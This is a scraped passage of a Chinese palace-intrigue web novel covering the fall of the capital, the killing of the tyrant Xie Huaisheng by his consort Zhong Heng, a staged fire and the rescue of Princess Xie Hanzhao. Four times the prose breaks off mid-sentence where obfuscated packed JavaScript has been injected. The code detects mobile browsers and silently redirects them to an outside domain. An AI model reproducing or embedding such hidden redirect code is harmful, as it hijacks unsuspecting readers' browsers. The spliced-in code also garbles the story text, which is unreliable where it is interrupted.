金陵驻军在主将指挥下不断朝着谢怀雵所在的位置涌去。人人都希望自己能将他斩落马下,但谁都不能突破他用战马和长枪构成的防线。 在谢怀雵的带领下,邢国公一手训练出来的三千骑兵如同他手上那柄枪一般,利落地撕开了一道又一道的防线。 眼看形势不妙,金陵方的主将也下场了。 号角吹响,金陵驻军向两边散开。 马蹄卷起的黄沙中,两支骑兵队伍撞在一起。 姜同云想起谢怀雵说过,金陵城里也是有一支骑兵队伍的。 但这支骑兵并不属于金陵驻军,而是隶属于禁军。 看来谢怀晟这次真是下了血本,连他最信任的禁军队伍都派出来了。 能被选为天子近卫,禁军的队伍自然也是精锐,而且配备给他们的战甲刀械都是越朝最顶尖的那批。 但经历过沙场实战的队伍,确实不是日常负责守卫工作的禁军能比的。 在双方人数相近的情况下,禁军的这支骑兵队伍只支撑了约莫五六分钟,就已经开始显露败相。 眼见形势不妙,金陵主将竟然直接策马回首,准备逃跑。 谢怀雵一枪挥退两侧冲上来的人,解下背后长弓,一箭射出。 疾驰的羽箭正中逃跑主将的背心。 随着金陵那方主将滚落马下,这场人数差距悬殊的对战终于要落下帷幕。 ***** 皇城之内,曲台殿上。 谢怀晟站在正殿的平台之上,面无表情地看着远远燃起的数道烽烟。 那是城门瞭望台上点起的火光,意在向城内传递城门遇袭的消息。 看来孙添以及金陵的驻军,已经败于谢怀雵之手。 虽然金陵驻军兵败之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065827|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,还有金陵城墙和宫城城墙两道防线挡在谢怀晟身前。但五万人加上禁军三千精锐骑兵都没能拦住谢怀雵,剩下这两道城墙又有何用? 谢怀晟饮尽杯中酒水,随手摔了酒盏,对着侍立在后方的宫人道:“去,让后宫嫔妃们梳妆打扮,全都到曲台殿来陪朕宴饮。” 宫人唯唯应诺,快速退了出去。 小半个时辰后,钟蘅最先走入曲台殿。 钟蘅不知道谢怀晟又在发什么疯。明明现在状况如此恶劣,他居然还想着宴饮取乐。 不过想到败局已定,自己作为谢怀晟的妻子,钟家也牵涉其中,横竖都是逃不掉了的,钟蘅就也没有找借口躲事。 这最后的宴会,权当是全一场夫妻情分吧。 想到这里,钟蘅挥退宫人,独自走进内殿。 见到钟蘅来,喝得半醉的谢怀晟皱起眉头,将她上下打量了一回:“朕不是让你们梳妆打扮后再来的吗?!” 都这种时候了,钟蘅也懒得跟他吵架。她敷衍地应了两声,打算找个位置先坐下来。 正在环顾四周,背后突然传来一股巨大的冲击力。钟蘅被撞倒在地,额角重重磕在地上。 不等她从疼痛中反应过来,一双冰冷的手就已经掐住了她的脖子。 剧烈的疼痛和窒息感中,钟蘅听见压住她的谢怀晟恶狠狠地说道:“你们都跟着我享受过荣华富贵了,现在我要死了,你们也都要给我陪葬!” 钟蘅两眼发黑,心里浮现出一个念头来:这个人真的疯了! 她拼命挣扎,但只换来了逐渐收紧的双手。 钟蘅的气息越来越弱,力量也快速流失。 就在她即将失去意识之前,有人用力地撞开了谢怀晟。 恢复呼吸的钟蘅剧烈咳嗽起来。 她猛烈地喘了几口气,赶紧回身去看谢怀晟那边的情况。 谢怀晟也是一时不察才会被人推翻在地。回过神来之后,他立刻就向推他的人还了手,现在正把对方按在地上,狠狠地咒骂着。 眼看谢怀晟扬起了手,巴掌就要落在那人脸上,钟蘅随手抄起身旁一尊花瓶,朝着谢怀晟的脑袋狠狠砸了下去。 鲜血汩汩地从谢怀晟脑后涌了出来。 剧烈地疼痛刺激了谢怀晟。 他扔下被他打得无力反抗的女人,怒气腾腾地去抓敢弄伤自己的钟蘅。 钟蘅连忙向后退了一步。 谢怀晟扑了个空,摔倒在地。 极度惊惧之下,求生的本能占据了上风。钟蘅随手拿起身边所有能够到的东西,接二连三地朝着摔倒的谢怀晟砸去。 直到她摸了个空,理智才渐渐回笼。 地上的男人躺在碎瓷片和翻到的铜炉烛台之间,不再动弹。 钟蘅强压下心中的惊惶,小心地凑过去摸了摸他的脉搏。 谢怀晟已经死了。 冲动间失手杀了人的钟蘅只觉浑身发凉。 直到一声颤抖的“娘娘”,唤醒了她。 看着那个救了自己,现在却害怕地不敢上前的女人,钟蘅深吸了一口气:“你……你快走吧,就当没来过这里。” 95. 躲藏 钟蘅本想自己担下杀死谢怀晟的罪名,但那个帮过她的女人只往外走了两步,就又坚定地跑了回来。 “咱们一起走!” “怎么走?”钟蘅苦笑一声,“宫人看见我们进了曲台殿。现在谢怀晟死了,所有人都会第一个怀疑我们的。反正人是我杀的,你现在出去叫人,至少还能保住自己一命。” 谢怀晟死了,孙贤妃一定不会放过凶手。这座宫城现在还在他们母子掌控之中,钟蘅这个空有妻子身份却完全没有实权的人,根本没法逃出这里。 她看了看面前那个有点眼熟的女人,一时没能想起对方是谁。 不过看这个穿着打扮,结合她在这个时候出现在曲台殿,大概也是谢怀晟后宫里的一员吧。 钟蘅想了想:“如今的局势,齐王怕是很快就会攻入金陵了。你出去以后找个地方躲起来,等挨过这一阵就行。齐王应该还不至于连谢怀晟的后宫都要全数清算。” 至于自己,父亲和两位伯父如今都在守金陵城门,已经是全然与齐王为敌了。钟家已经彻底被卷入这场皇位之争,自己是根本不可能活下去的。 反正都活不了了,早死晚死的也没有太大区别。 想到这里,钟蘅吐了一口气,再次劝道:“你快走吧。” 对面的女人却强忍着眼泪摇了摇头:“不,一定还有办法的!” 钟蘅打算最后劝一次对方别做无用功,却见女人双眼一亮:“有了!咱们放一把火,假装陛下是自戕的吧!” 钟蘅一时觉得有些好笑:“这样有用吗?” “自古以来,城破之后自戕而死的君王就不在少数。”女人刚开始还说得有些磕磕绊绊,后面却越发顺畅起来,“而且我们也不用做得能瞒过所有人啊。” “您不是说了吗?齐王很快就会攻入金陵。我们放把火,吸引宫人注意,偷偷离开这里躲起来。等藏过这一阵搜查,躲到齐王进入皇城之后就好了!” 看着对方满怀期待的模样,钟蘅笑了:“那是你。我就算逃过了现在,也只能多苟活几日。齐王也不会放过我的。” 女人这才想起,她俩的身份确实不同。 她咬着嘴唇想了一会,在钟蘅开口赶人之前,她大胆地开口建议道:“娘娘,咱们去把楚国公主救出来吧!” ***** 曲台殿之下。 钟蘅抬头望着燃起大火的宫室,无奈地叹了口气。 她刚才是怎么被说动,同意放火烧房然后跑出来救楚国公主的? 哦,是因为面前这个女人说齐王跟楚国公主感情很好,她们救了楚国公主,齐王看在堂妹的份儿会放她俩一马。 真是天真。 不过出都出来了,就陪她去一趟吧。真能救出楚国公主也好,就当再帮两个人吧。 就是…… 钟蘅还不知道对方是谁,一时不知道怎么叫她。 正在观察情况的女人见宫人们全都赶去救火,连忙拉了钟蘅一把:“可以走了!” 见钟蘅神色为难,她忽然福至心灵,主动道:“我姓宋,娘娘叫我宋芷就好。您……曾让人给我送过一件披风的。” 啊。 钟蘅想起来了。 她是那天坐在湖边的那位宋才人。 听说她曾给楚国公主做过伴读。 这样也好。有这情分在,楚国公主说不定会帮她说说情,她能活下来的机会就更大。 钟蘅笑了:“行。那我们走吧。” ***** 金陵西城门口。 谢怀雵站在刚刚打开的城门之下,指挥手下将士接管城门防务。 安排完事情,谢怀雵才有空转向等在一旁的年轻男人:“这次真是多亏了你们帮忙,我们才能这么快地打开城门。” 男人拱了拱手:“殿下客气了。不知您接下来要去哪儿?” 谢怀雵没有丝毫犹豫,直接把后续计划和盘托出:“我会派出几队人,再去占下一两个城门。至于我自己,要先去皇城。” 他答应了姜同云,要用最快的速度救出谢含昭。 男人笑了:“这倒也巧。占城门的事情,我们金吾卫的弟兄可以帮忙。至于皇城那边,也已经安排了十六卫里的其他人手等候,殿下带人过去就行。接应的人您应该也认识,是千牛卫的关绍晖。” 没错,来帮谢怀雵打开城门的,是金吾卫的人。 当初就是他们帮忙救下了邢国夫人,还安排了人把老夫人送到婺州去。 这次谢怀雵带兵入金陵,虽然没和他们联络过,但十六卫内部商量后决定帮齐王一把。 至于男人提到的关绍晖,那就更是谢怀雵的熟人了。他是关正青的族弟,当年也曾在边境邢国公麾下任职。后来经家族运作调回金陵,因为年纪轻且长相出众,被选入千牛卫,成了御前仪仗队里的一员。 听到关绍晖的名字,谢怀雵当即笑了:“好,你们费心了。” 事情安排妥当,谢怀雵当即上马,点上一批人跟着自己,直接往皇城方向疾驰而去。 行至护城河边,谢怀雵远远看见宫城里升起了一道浓烟。 他勒住马匹,皱眉远望起来。 还没等他看个分明,躲在附近的关绍晖就带着人找了过来:“殿下!” 谢怀雵转头看了他一眼:“你快来看看,宫里怎么起火了?” 关绍晖被他这话吓了一跳,连忙抬头去看:“哎哟,真起火了!看着方向和位置,好像是曲台殿那边啊!” “曲台殿?” 关绍晖点了点头,突然又想起一件事来:“坏了!约摸半个时辰前,我接到宫里传来的线报,说谢怀晟召集后宫嫔妃在曲台殿里宴饮的。现在那里起火了,是不是出事了?!” 谢怀雵心里一紧:“不能耽误了!” “好!” ***** “啪嗒”。 解开的铁链被扔在地上,发出了沉闷的声响。 钟蘅凑在门边看了看,回头催促道:“快点快点。” 宋芷应了一声,快速解开了谢含昭脚上的最后一道链子。 恢复自由的谢含昭只觉身上一轻,忍不住原地蹦了一下。 宋芷连忙拉上她:“咱们快走吧!” 她们能进来,还是钟蘅用自己的身份,命令守在门口的侍卫去曲台殿帮忙救火,才把人支走的。 亏得这里距离曲台殿不远,看到浓烟的侍卫信了钟蘅的话,否则就凭她们俩,根本不可能越过门口的守卫进来。 趁着现在外头刚乱起来,抓紧机会就能跑出去了。 一出殿门,眼见钟蘅和宋芷拔脚要跑,谢含昭连忙拉住她俩:“你们要去哪?!” 钟蘅道:“这里人多,不安全,我们准备去花园里躲一躲!” 谢含昭:……五嫂平时看着挺聪明的,怎么今天有点傻乎乎的。 怕不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073494|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刚才杀了谢怀晟,被刺激大发了。 是的,刚才宋芷给她解锁链的时候,简短地讲了一遍事情经过。谢含昭已经知道,她那看着柔柔弱弱一派文人气的五嫂,居然做出了砸死谢怀晟、火烧曲台殿这样的壮举! 真是……干得漂亮! 不过谢含昭现在没空夸她们俩。她一手抓着一个,又快又急地说道:“花园里没有多少躲藏的空间,也不见得安全。咱们想办法换身衣裳,躲到掖庭里去!” 对哦!掖庭离这里也不太远! 钟蘅和宋芷对视一眼,立刻意识到谢含昭的提议是有道理的。 她们立刻取掉身上贵重的首饰,还把显眼的宫装外衣脱了扔在屋里。 之后三人一路躲藏,朝着掖庭所在的位置移动。 也是她们运气好,现在大部分的宫人都在孙贤妃的命令下汇集到了曲台殿附近救火,一路走来都没被人发现。 她们协力翻墙进了掖庭,摸到后头的空屋子里,随便找了三件宫人的外衣,互相帮忙简单梳了个头,随后准备找个地方躲起来。 看谢含昭四处张望研究,钟蘅迟疑片刻,开口道:“我知道有个地方或许能让我们去躲一躲。” 几分钟之后,三人在钟蘅带领下,走到了掖庭偏僻角落一处破败屋子里。 房门打开后,谢含昭被里面的人吓了一跳:“太……大嫂嫂!” 没错,住在这里的,是先太子妃和她的女儿。 谢怀晟上位之后,不仅下令处死了吴王和卫王的家眷,也没有放过先太子的两个儿子。 不过在处理先太子妃的时候,他倒是稍稍抬了抬手。 原因很简单,先太子妃的娘家和那两个最要紧的儿子都已经被谢怀晟杀了个干净,光凭先太子妃一个女人,已经掀不起什么风浪了。 而且与其痛快地送先太子妃和她的女儿去跟先太子一家团聚,谢怀晟更想通过折磨这位大嫂和她的女儿,来让阻碍了他多年的先太子地下难安。 抱着这样的心思,谢怀晟让人把褫夺了爵位头衔的先太子妃和小郡主送入掖庭为奴。 钟蘅也是在入宫之后,因为一次偶遇,才发现了她们母女的遭遇。 虽然她很同情对方,但有孙贤妃盯着,钟蘅只能想办法从一些不起眼的地方帮一帮这对母女。 如今她们躲到了掖庭来,钟蘅第一个想到的就是这里。 看见她们三人,先太子妃也很是惊讶:“你们怎么?还有含昭,你……” 见姑嫂二人都是一副惊讶的模样,钟蘅道:“情况紧急,我们还是进去说吧。” 简陋的屋子里。 钟蘅快速地跟先太子妃讲述了一遍外面的情况。 听到齐王就在金陵之外,谢怀晟已被钟蘅所杀,苍老了许多的先太子妃抱着年幼的女儿又哭又笑:“真是苍天有眼!” 哭过一阵后,她擦掉眼泪:“外面估计要乱好一阵。我们就先躲在这里,过段时间再出去看看情况!” 于是几人关紧门窗,搬来屋内仅有的一张桌子抵在门口,静静地坐在屋内等待。 不知过了多久,屋外突然响起了一阵嘈杂声。 胆子最大的谢含昭凑到门口去听。 “好像就是这里。” “太后吩咐,赶紧把人带过去!” 谢含昭感觉听得不太真切,就又往门口凑了凑。 谁料下一秒,木门被人狠狠地踹了一脚! 96. 平息 简陋的木门被踹地晃动起来。 谢含昭心里一紧,连忙抵住桌子。 一旁的钟蘅三人,连同谢含昭那不到十岁的小侄女也赶紧过来帮忙。 眼见破不开这道门,外头的人也着急起来。门板晃动短暂平息了一下,但两声呼喊过后,撞门的力气明显变得更强了。 联系他们刚刚提到的“太后”,谢含昭大概也知道这些人的目的了。 无非就是孙贤妃看情况不妙,想拿先太子妃和小郡主做人质,要挟谢怀雵。 要是被他们闯进来,下场可想而知! 谢含昭只能咬着牙硬顶着门。 眼看门板先要支撑不住,外头忽然又响起了一阵人声。 撞门的动作骤然一停,门外随即响起了刀兵交接之声。 情况不明,谢含昭等人不敢大意,照旧顶着桌子。 又过了一阵,外头的声音停了下来。 谢含昭刚想凑到门缝上去看看情况,木门突然被人敲响了。 屋里五人都吓得哆嗦了一下。 门外之人迟疑了一下,试探着问道:“敢问屋内可是太子妃与小郡主?” 听到对方的对大嫂的称呼,谢含昭心里略微松了一口气,但也没有全然放松警惕。 她示意自家大嫂不要开口,自己扬声问道:“你是何人?” 门外的人没有立刻作答。 停顿了好一会,他才犹疑地问道:“您……是楚国公主吗?” 谢含昭心中一惊。 好在对方赶在谢含昭生出怀疑之前,迅速给出了解释:“下官名叫关绍晖,原在千牛卫中任职。随驾时有幸见过公主殿下几面,还记得您的声音。” “齐王殿下如今已攻入宫城。他赶着去处理赵王和孙贤妃等人,命下官带人在宫内巡查公主殿下的下落。” 听到这番话,谢含昭心中忧虑暂解。 但她看见皱着眉的钟蘅宋芷二人,想到宋芷偷摸恳求自己帮忙在齐王面前给钟蘅求情的情形,谢含昭没有放开按住门板的手。 “你既然是怀雵哥哥派来寻我的,那就暂且在门外等候吧。”谢含昭佯装镇定,大胆开口要求道,“等怀雵哥哥处理完所有事情后,我再去见他。” 门外的人顿了顿,痛快地答应了:“好。那下官就在此守卫公主。” 见对方没有强行闯入,谢含昭这才真的放下心来。 她转头看向钟蘅二人,安抚地摇了摇头,无声道:别怕。 她一定会保护好她俩的。 ***** 说回关绍晖这边的经历。 时间拨回到一刻多钟以前。 金陵城门已破的消息早就被刻意传入皇城,致使禁军人心浮动、守备松懈。在十六卫的配合下,谢怀雵的队伍没有费太大的力气就成功进入了皇城之内。 和皇城内守候的十六卫成员汇合后,谢怀雵得知谢怀晟在曲台殿内自焚,孙贤妃正带着余下的禁军人手在曲台殿附近救火。 情况紧急,谢怀雵需要用最快的速度赶到曲台殿,确认谢怀晟的生死并清扫最后的那批禁军人马。 为了确保谢含昭的安全,谢怀雵让关绍晖带着一批对皇城内各处都熟悉的十六卫成员,先去救出受困的楚国公主。 谢怀晟并没有隐瞒他囚禁谢含昭的事情,禁闭谢含昭的宫室也不是什么秘密所在,所以关绍晖接到任务之后,直接就向着目的地去了。 谁知赶到那里以后,关绍晖发现门口的守卫全都消失不见,屋子里也是空无一人。 正着急的时候,他们迎面撞上了孙贤妃派出来找谢含昭的人。 双方当即开始交手。 人数更多、身手也更好的关绍晖一方很快就压制住了对面,并跟对方的领头人进行了一番“友好交流”。 在得知他们也是接了命令刚刚才来、并没有带走楚国公主之后,关绍晖猜测,楚国公主大约是被另外的什么人带走了。 可是如今情况紧急,这座宫城这么大,想找出一个人来谈何容易? 就在关绍晖着急上火的时候,孙贤妃派出来的禁军又交代出一条消息来。 原来孙贤妃不止派了人来抓楚国公主,她同时还让另一队人去掖庭拿先太子妃和小郡主了! 关绍晖当即决定,先去掖庭阻拦那支队伍。 也幸亏他来了掖庭,不仅正好撞上在破门的禁军、救下了先太子妃母女,还阴差阳错地找到了同样躲在这里的楚国公主! 虽然他不清楚中间到底发生了什么、楚国公主为什么会出现在掖庭,但至少三位最要紧的女眷现在都没出岔子。 至于楚国公主不愿意跟着他走这件事,关绍晖也没有放在心上。 现在外头这么乱,带着两个女人一个小孩还不好走呢。留在这里等齐王那边收完尾反倒还更安全一些。 想到这里,关绍晖痛快地答应了谢含昭的要求。 他派了一个人去给谢怀雵那边通知消息,自己则留在这处破屋前面,尽心尽责地开始守卫工作。 ***** 谢含昭等人坐在屋里的木板床上,静静地等着外面的事情结束。 宋芷撕了一段衣袖,替刚才顶门时不小心擦伤了手腕的钟蘅包扎。 先太子妃见状,从被撞得有些变形的桌子抽屉里取出一瓶药来,低声道:“这是……” 她一时不知该怎么称呼钟蘅。犹豫片刻后,她选了一个完全与谢怀晟无关的叫法:“这是钟姑娘先前送过来的,治外伤的。” 宋芷接过药瓶,感激地朝先太子妃笑了笑。随后她打开瓶盖,小心地把里面的药粉抖在钟蘅手腕上。 药粉落在伤口上,刺得钟蘅小小吸了一口冷气。 但她知道,谢含昭刚才不肯出去,也没有暴露她俩的存在,是想暂时瞒住情况保下她和宋芷。所以即使伤口生疼,她也强忍着没有出声,以免让外头的人发现屋里还有别人在。 为了钟蘅和宋芷,屋里的所有人,包括年幼的小郡主在内,全都默契地保持着安静。 众人在清晰且规律的呼吸声中不知等了多久,外头终于响起了新的声音。 盔甲摩擦的声响中,一阵轻巧些的脚步声在门外停下。 随后木门被敲响,门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080014|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传来了一个谢含昭非常熟悉的声音:“含昭?你在里面吗?” “姜姐姐!”谢含昭豁然起身。 听见她的声音,门外的姜同云也松了口气:“太好了,真的是你!” 谢含昭环顾了一圈屋里,示意钟蘅宋芷两人稍稍往里面躲一躲。 随即,她和先太子妃合力,推开了顶在门上的桌子。 木门被打开,夕阳的余晖投射进来。 暖黄的阳光落在门口的姜同云身上,仿佛给她镀上了一层金边。 一直表现得坚定沉稳的谢含昭,在这一刻终于忍受不住,哭着扑进了姜同云怀里。 抱着瘦得几乎只剩一把骨头的谢含昭,听她用哭腔一迭声地唤着自己,姜同云也忍不住鼻尖发酸。 她轻轻地拍着谢含昭的后背,忍着眼眶里的泪水轻声哄道:“别怕,别怕,没事了。” 见此情形,关绍晖识趣地带着人往后退了几步。 谢含昭抱着姜同云哭了好一会儿,才慢慢止住眼泪。 她还有别的事情等着做,不能一直这样哭哭啼啼的。 虽然没有见到怀雵哥哥,但是姜姐姐来了。求她帮助钟姐姐和宋姐姐也差不太多。 想到这里,谢含昭拉住姜同云的手把她往屋里带,嘴上只说:“大嫂也在里面。” 姜同云也想看看先太子妃和小郡主的情况,便跟着谢含昭一起进了屋。 看见两鬓间居然隐隐生出银丝的先太子妃,还有躲在母亲身后不敢出来的小郡主,姜同云忍不住又涌上一股泪意来:“这段时间,你们受苦了。” 先太子妃倒是更稳得住一些。 这几个月来,她连续经历了丧子之痛和家破人亡之难,伤心痛苦的眼泪早就在进入掖庭之初就已经流完了。 最后剩下的那点泪意,也在方才伴随着谢怀晟被杀的快意一并流走。 和感到安心的谢含昭、紧张未来的钟蘅宋芷不同,在姜同云赶来的这点时间里,先太子妃心中只有一片平静。 她能预见到自己的未来,已经不会再有波折了。 先帝一脉所有男性后嗣都已经死完了。 看目前的局势,齐王毫无疑问地,会成为最后的赢家。 如果她的儿子还在,那她可能还会感到不甘和惊惧。但她的儿子已经死了。 现在站在这里的,是一个只有女儿、毫无威胁的,前任太子妃。 齐王不是谢怀晟那种暴虐弑杀的人。哪怕只是顾及颜面和天下人的议论,他都会妥善安置自己还有女儿的。 想到这里,先太子妃主动朝姜同云屈膝一礼,同时对着她笑了一笑。 见对方情绪稳定,姜同云不知怎么的,心里也跟着松了口气。 她现在是有点不知道,到底该用什么样的态度来面对先太子妃。 所幸对方没有多说什么,姜同云就也先把她们母女的事情放到一边,转头去看屋里剩下的两个人。 这一看,姜同云不禁失色:“赵……这?” 谢含昭连忙拉住姜同云的手臂:“姜姐姐,钟姐姐和宋姐姐的事情,还是我来跟你说吧。” 97. 理由 听完钟蘅失手砸死谢怀晟并且和宋芷一起放火烧曲台殿的事情后,姜同云心里闪过的第一个念头,和谢含昭当时一模一样。 干得漂亮! 且不说谢怀晟的死给姜同云他们省了多少事情,单说他从过去到这段时间的种种行径,就活该落得这样一个下场! 与此同时,姜同云也明白了,谢含昭背着关绍晖等人把自己拉进屋子里来说话的目的。 心思电转,赶在谢含昭开口求情前,姜同云就笑着说道:“赵王作恶多端,不过眼见兵败还能自戕,也还算他有点骨气。就是可惜了赵王妃和那名宋姓妾室,竟也追随他而去了。” 听到姜同云的话,谢含昭和钟蘅宋芷俱是一愣。 反而是旁观的先太子妃先反应过来了:“齐王妃这是打算,要让她们二人假死脱身?” 姜同云点了点头:“虽然不假死换个身份,我也有把握保下你们。但这样能省下很多麻烦。” 先太子妃沉吟片刻,很快就明白了姜同云的意思:“确实如此。不管事实如何,谢怀晟到底是先帝之子,距离正式称帝也就差一个登基大典。即使他残暴不仁,但只要你们背负了弑君的罪名,总会有一些食古不化之人跳出来声讨你们的。” 到时候甚至可能会有人提出,要她俩给谢怀晟殉葬。 那还不如一开始就说她们已经死了呢。凭齐王现在的地位能力,造两个假身份出来简直轻而易举。 “没错。”姜同云又补上一点,“而且换了假身份后,你们俩,尤其是钟姑娘,就不用受困于过去赵王妃的身份了。” 就算谢怀晟声名狼藉、输得一塌涂地,但只要他的身份地位还在,他的那些妻妾们就都不容易放下过去,重头开始。 旁的妾室们也就罢了。钟蘅作为赵王妃,即使侥幸保住一命,也有很大可能会失去后半生的全部自由。 钟蘅也意识到了姜同云这么安排的用意,当即答应下来:“一切都听从齐王妃的安排。” 见钟蘅和宋芷的事情有了着落,谢含昭松了口气,终于能露出笑容来了:“这样也好,钟姐姐和宋姐姐总算是能彻底摆脱谢怀晟那个人渣败类了!” 姜同云笑着拍了拍她的肩膀——如今的谢含昭长高了许多,早就已经不是当初那个姜同云随手就能摸到脑袋顶的小姑娘了:“现在外头的情况基本已经安定下来了。前头已经清理完毕,你们先跟着我去前面休息一下吧。” 听姜同云这么说,谢含昭等人才发觉自己确实又累又饿。大概是刚才太过紧张所以下意识忽略了这些身体信号,直到现在彻底放松,疲惫感就集中爆发出来了。 有姜同云带着,大家自然不必再担忧,跟着一起离开了这间破屋子。 紫宸殿内。 姜同云安置几人在临时收拾出来的侧殿里用了一顿简单的晚饭。 因为谢怀晟在曲台殿“自焚”,孙贤妃连同他手下掌控的禁军全都一股脑地跑去宫城东面救急,留守在紫宸殿的人所剩无几,这处居住过历代越朝帝王的重要宫室很快就被谢怀雵的人拿下。 彻底掌控皇城内局势后,谢怀雵就让人把等在城外的姜同云接了进来,先来处理谢含昭的事情。 毕竟当时谢含昭和先太子妃母女在一起,谢怀雵不太好直接过去,还是由姜同云出面更方便一些。 姜同云受到消息后,义不容辞地接下了这个任务。 只是,想到一年多以前,她们几人同处宫中之时,通常都是由太子妃来扮演主人的角色;如今角色骤然颠倒,氛围难免会有些古怪。 先太子妃对这种情况倒是接受良好,表情淡然地由着姜同云安排。 小郡主更是完全想不到这些。她被送入掖庭后一直被盯着干活,本来每天就累得够呛,今天又骤然遇到这么多事,现在放松下来,又吃了东西,很快就犯起了困。 先太子妃便向姜同云借了处地方,带着女儿先去休息了。 眼看谢含昭也在打哈欠,姜同云便让她也跟着先去睡一会儿:“今夜怕是有得忙。你现在去睡会儿,免得夜里被吵醒后睡不着。” 谢含昭虽然藏了一肚子的话想跟姜同云说,但想到接下去时间还长,就也没有硬扛,先去睡觉了。 等她走后,姜同云招呼钟蘅和宋芷在窗边坐下:“我看钟姑娘一直欲言又止,是因为担心淮阳侯府吧。” 钟蘅的心思被说中,半是羞愧半是难受地低下头去。 确认自己安全之后,钟蘅就开始担心起自己的家人们了。 她的父亲和两位伯父都被谢怀晟派去守城了,如今齐王已经占据了宫城,那他们兄弟三人大概都已经成为了阶下囚。 钟蘅很想帮自己家人求情。但她知道,自己能保住一命都已是侥幸,她实在没有脸面再替自己家人开口。 姜同云安抚地拍了拍她的手:“你的父亲和两位伯父虽然被擒,但目前都性命无虞。” 在来金陵的路上,姜同云就已经跟谢怀雵谈过,关于如何处理那些投靠谢怀晟的人的问题。 谢怀雵的态度非常明确,当日参与了逼宫弑君以及后面大肆屠戮的人罪无可恕,至于剩下的那些,可以酌情宽宥。 所以现在,姜同云试探着询问钟蘅:“先帝死的那日,还有后面梁国公等人被杀的时候,你们钟家可有人在宫里?” 钟蘅立刻意识到,这个问题很有可能关系到了淮阳侯府的存亡。 她仔细地想了想,给出了确切的答复:“先帝,还有吴王他们死的那天,谢怀晟只找了禁军的人。朝臣们出事时,我大伯父确实在场,但他事先应该并不知情,因为当天他入宫前,大伯母十分忧心,还托我母亲来向我打探过情况的。” 可惜钟蘅也不知道发生了什么,否则她绝不忍心坐视梁国公等人踏入一个必死的陷阱。 听到钟蘅的回答,姜同云点了点头:“这样就好。” 虽然没有得到出确切的承诺,但姜同云的态度已经足以让钟蘅安心了。 说完淮阳侯府的事情,姜同云又把话题转向了钟蘅和宋芷二人本身:“你们俩以后打算做些什么?” 她并不介意再多帮一帮这两个姑娘。 这头姜同云在询问钟、宋二人的未来计划,里屋里,哄睡了女儿的先太子妃看着谢含昭,轻声问道:“含昭,你可有想过,将来要怎么办?” 谢含昭愣了一下,刚才泛起的睡意立刻退去。 她是邓皇后一手养大的,性格纯真不代表她不聪明,她知道自己这位大嫂问的是什么。 但谢含昭愿意相信她的怀雵哥哥和姜姐姐。 所以谢含昭只是笑了笑:“对我们而言,比起谢怀晟来,齐王难道不是更好的选择吗?” 为人可靠还跟自己感情亲厚的堂兄,怎么也比性情暴虐且与自己素有嫌隙的异母兄长好吧。 谢含昭跟她大嫂本来不一样。 就算什么意外都不出,太子顺利登基,谢含昭的将来也必定是会一步一步朝着远离中枢的方向走去。 如今这般,最差也不过是提前进入这个过程罢了。 屋子里的两个女人对视一眼。 她们都从对方眼里看到了几分无奈与释然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083472|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢含昭握住了她大嫂的手:“放心,至少我们已经从最差的结局里走出来了。” 于是那位曾经誉满金陵的卢家姑娘也笑了:“是啊。都已经走出来了。” ***** 和钟蘅二人聊完,把她俩都安置妥当之后,姜同云才另外寻了一间屋子,坐下来开始继续之前的工作。 入城以前,姜同云在城外营地里清点这段时间被拐来资助他们的富豪名单。 这一路非常顺利,提前预备下的金银物资消耗不多,姜同云和谢怀雵商量之后,打算把一部分用不上的钱财原路退还回去。 除此之外,还要排出这些富商们的贡献程度,到时候好依据这个排名给他们发放投资回报。 所以这些天来,姜同云只要不在赶路,全都会把时间挤出来用于清算账目。 算账这活,可真是要了人的老命了。 姜同云算到天色完全变暗,连被谢怀雵派来保护她的侍卫给她点上灯她都没有察觉。 直到一双带着寒意的手围上她的腰。 姜同云被突如其来的寒意冻得哆嗦一下,顿时从繁杂的账本里清醒过来。 她“啪”地拍开谢怀雵的手,嗔怪道:“冷死了!” 